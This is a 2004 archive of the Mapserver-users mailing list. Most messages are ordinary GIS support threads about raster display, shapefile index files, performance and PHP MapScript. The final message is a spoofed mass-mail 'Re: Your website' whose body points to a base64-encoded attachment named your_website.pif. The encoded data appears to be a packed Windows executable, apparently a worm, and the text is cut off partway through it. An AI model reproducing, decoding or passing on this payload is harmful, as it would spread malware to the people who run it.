SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 > > INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > > > and here is gdal-config --formats: > > > > gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 bsb xpm sdts raw dted > > mem jdem envisat elas fit vrt usgsdem l1b nitf bmp jpeg2000 gif jpeg png > > > > Any hints as to what may be going wrong would be greatly appreciated. > > > > Thank you, > > Sean Kleinjung > > Web Application Developer > > Agri ImaGIS Technologies, Inc. > > sean at satshot.com > > > > Sample map file follows: > > > > > > # MapFile automatically generated by > > # Agri ImaGIS Technologies, Inc. jWebMap > > > > NAME "jWebMap-1078716933050" > > STATUS ON > > SIZE 400 400 > > > > EXTENT 515000.0 5110000.0 840000.0 5440000.0 > > > > IMAGECOLOR 255 255 255 > > > > PROJECTION > > "proj=utm" > > "zone=14" > > "ellps=GRS80" > > END > > > > WEB > > TEMPLATE "/home/httpd/html/webmap/templates/1078716933035.html" > > END > > > > LAYER > > NAME "testRaster" > > TYPE RASTER > > STATUS DEFAULT > > DATA "/data/imagery/2003/L3026z14_Aug25_03.tif" > > PROJECTION > > "proj=utm" > > "zone=14" > > "ellps=GRS80" > > END > > END > > > > END > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From ujunge at pmcentral.com Mon Mar 8 15:14:55 2004 From: ujunge at pmcentral.com (ujunge at pmcentral.com) Date: Mon, 8 Mar 2004 18:14:55 -0500 Subject: [Mapserver-users] W2K/php_mapscript BUG ? / Index-files are not used ! Message-ID: <004101c40563$2c0b8470$0300a8c0@gericom> Hello again, this message is a follow-up for http://lists.gis.umn.edu/pipermail/mapserver-users/2004-March/010966.html (sorry, i don't know how to reply to a message in the list) Thank you for your response. I am aware of performance - issues concerning data-organisation, but i am looking specifically on the issue, wether index-files are used at all. So I did a file-access-audit during the map rendering time. Guess what ? - The Index-files (*.qix) are never touched ! The map is displaying 3 layers: States1.shp, States2.shp, Us_ua.shp . Every layer has an index file. The log shows, that the file-types *.shp, *.shx and *.dbf are accessed, but *.qix never ! (Success and Failures have been audited) Here the w2k security log (sorry, the box has a german os): 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\States2.dbf Neue Handlekennung: 520 Vorgangskennung: {0,52151905} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\States2.shx Neue Handlekennung: 516 Vorgangskennung: {0,52151902} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\States2.shp Neue Handlekennung: 512 Vorgangskennung: {0,52151899} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\States1.dbf Neue Handlekennung: 512 Vorgangskennung: {0,52151889} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\States1.shx Neue Handlekennung: 520 Vorgangskennung: {0,52151886} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\States1.shp Neue Handlekennung: 516 Vorgangskennung: {0,52151883} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\Us_ua.dbf Neue Handlekennung: 516 Vorgangskennung: {0,52151864} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " 3/8/2004 17:41:28 Security Erfolgs?berwachung Objektzugriff 560 GERICOM\IUSR_GERICOM GERICOM "Ge?ffnetes Objekt: Objektserver: Security Objekttyp: File Objektname: D:\alarmlogger\dmrtmap\mapdata\conus\Us_ua.shx Neue Handlekennung: 512 Vorgangskennung: {0,52151861} Prozesskennung: 3444 Prim?rer Benutzername: IUSR_GERICOM Prim?re Dom?ne: GERICOM Prim?re Anmeldekennung: (0x0,0x30CF19A) Clientbenutzername: - Clientdom?ne: - Anmeldekennung des Clients: - Zugriffe: LESEN_KONTROLLE SYNCHRONISIEREN Daten lesen (oder Verzeichnis auflisten) EA lesen Attribute lesen Rechte: - " System-Configuration: - W2K-Server (512MB) . - precomiled php_mapscript_40.dll (8/5/2003) with shptree.exe (8/6/2003). The same audits-results have been found for - precomiled php_mapscript_41.dll (3/3/2004) with shptree.exe (3/3/2004). Uwe Junge PMCentral Systems, Inc. 4201 Pinefield Court Fairfax, Virginia 22033 (703) 378-0952 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.613 / Virus Database: 392 - Release Date: 3/4/2004 From delfos18 at yahoo.com Mon Mar 8 15:42:01 2004 From: delfos18 at yahoo.com (J. Delfos) Date: Mon, 8 Mar 2004 15:42:01 -0800 (PST) Subject: [Mapserver-users] Mapserver and Apache performance In-Reply-To: <002801c40537$ac7e8750$4900a8c0@azstumbler.com> Message-ID: <20040308234201.31428.qmail@web12104.mail.yahoo.com> What is the performance like with a tiny dataset? Are you sure that size of your data, or even the Chameleon system, is your bottleneck? Could be your client has a very slow pc, which has trouble processing so much script. Try loading with tiny data. Or perhaps try rebuilding your shapefile completely, while stripping attributes you don't need. Maybe the shapefile was just not constructed efficiently. Are your files in the same projection, or are you reprojecting a lot? Jacob --- kallwn wrote: > I'm using 5 shapefiles for each map. Almost all of them are points and > under > 100 KB and cover at the most 7 states in the US. Of the remaining 2 one > is a > shapefile of polygons of US urban areas about 5MB in size and the other > is a > file of lines about 9MB consisting of interstates and other limited > access > highways. I've created a quadtree index for each of them as suggested by > Bart and that has improved loading time by about 3-4 seconds but I'm > still > getting complaints about the load time. I've thought about reducing the > size of the 2 large files so they would cover just the extents the maps > are > displaying but that turned out be easier said than done due the area > each > map cover. > > > ----- Original Message ----- > From: "Ed McNierney" > To: "kallwn" ; > Sent: Sunday, March 07, 2004 10:33 AM > Subject: RE: [Mapserver-users] Mapserver and Apache performance > > > You need to tell us a bit more about what it is you're doing that is > slow. For example, if you have an enormous shapefile and you're trying > to draw the whole thing in one output map, that might take a while and > produce an illegible map. > > I don't think playing with Apache settings will do you any good unless > you understand the problem; they're very likely to be irrelevant. > > Please give us as much detail as you can about the nature, size, and > number of the shapefiles you're using and the map image you're > requesting. Does the performance change as you zoom in or out? > > - Ed > > > > Ed McNierney > President and Chief Mapmaker > TopoZone.com > -----Original Message----- > From: kallwn [mailto:kallwn at icircus.net] > Sent: Saturday, March 06, 2004 4:11 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] Mapserver and Apache performance > > I was given a project this week to have ready by Monday. To accomplish > this I had to install Mapserver and PHP from scratch and since no one > really had much experience using either one under IIS I went with the > MS4W distribution from maptools.org. Well it is now up and running but > as one person had described it as "dog slow". This running on a Micron > server with 4 Xenon 500MHz processors and about 3GB of memory (along > with MS SQL Server and VS. > NET). It is using shape files for it layers with no databases access > involved. I'm going to add some performance improvements to Apache such > as changing the KeepAlive settings. However I'm not sure how well this > will work. Does anyone have any suggestions? > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________ Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster http://search.yahoo.com From u_20 at hotmail.com Mon Mar 8 17:35:45 2004 From: u_20 at hotmail.com (Alen P) Date: Mon, 08 Mar 2004 20:35:45 -0500 Subject: [Mapserver-users] Adding new selection tool to Rosa Applet Message-ID:

Greetings,

I would like to modify the selection by ellipse tool to a selection by circle. That is, a circle is drawn instead of an ellipse and instantaneously the the radius of the circle is computed in km and displayed on the map or status bar as the circle is drawn. Thus the center of the circle in x,y and the radius of the circle are the returned params.

I wonder if anyone has looked into this or of any uml of the rosa applet source code.

Thanks


Enjoy 25MB of inbox storage and 10MB per file attachment With MSN Premium Get 2 Months FREE* From dmorissette at dmsolutions.ca Mon Mar 8 17:39:44 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 08 Mar 2004 20:39:44 -0500 Subject: [Mapserver-users] Re: [Mapserver-dev] (2nd) Displaying a layer generated "on the fly" in a map In-Reply-To: <11094.148.235.127.52.1078784567.squirrel@209.183.220.9> References: <11094.148.235.127.52.1078784567.squirrel@209.183.220.9> Message-ID: <404D2060.3060008@dmsolutions.ca> Thomas Shaw Obreg?n wrote: > (I'm sending this question for second time, to be sure it was sent > successfuly to the mailing list) > You would have more chances of getting replies on usage questions on the mapserver-users list. The mapserver-dev list is for the MapServer developers to discuss development issues and not for users support. I have sent this reply to mapserver-users. > > Hello, I'm now using mapserver4 and I have 3 layers in a map that I can > pefectly visualize, the way I'm doing it is with the php-mapscript. Those > 3 layers are in shp format, but I also have to generate a new layer with > some data inserted in a data base. The DB has 3 fields > (latitude,longitude,price). > I read the DB record by record and I'm generating the layer 4 "on the > Fly", when I finish it,I save it to the hard disk, but when I try to > visualize it doesn't appears in the map, there only appears the first > three layers. How can I do to visualize that 4rth layer in the map? > > I'll appreciate a lot if anyone can help me with this. I assume that the 4th layer is a shapefile+DBF that you create using PHP MapScript and the PHP xbase module? Assuming that the data that you write to the shapefile+dbf is valid and that all the settings in you layer definition are correct, the other thing to check would be making sure that the shapefile is closed properly before you attempt to add it to the layer and draw the map (i.e. using $shapefile->free()). If the shapefile is not properly closed then the header may not be valid on disk and that could explain why MapServer can't draw it. HTH Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From ed at topozone.com Mon Mar 8 18:23:03 2004 From: ed at topozone.com (ed at topozone.com) Date: Tue, 9 Mar 2004 13:23:03 +1100 Subject: [Mapserver-users] Re: Your website Message-ID: <200403090223.i292NEEe009016@lists.gis.umn.edu> This is a multi-part message in MIME format. ------=_NextPart_000_0013_00006F26.00004A6A Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit See the attached file for details. ------=_NextPart_000_0013_00006F26.00004A6A Content-Type: application/octet-stream; name="your_website.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_website.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 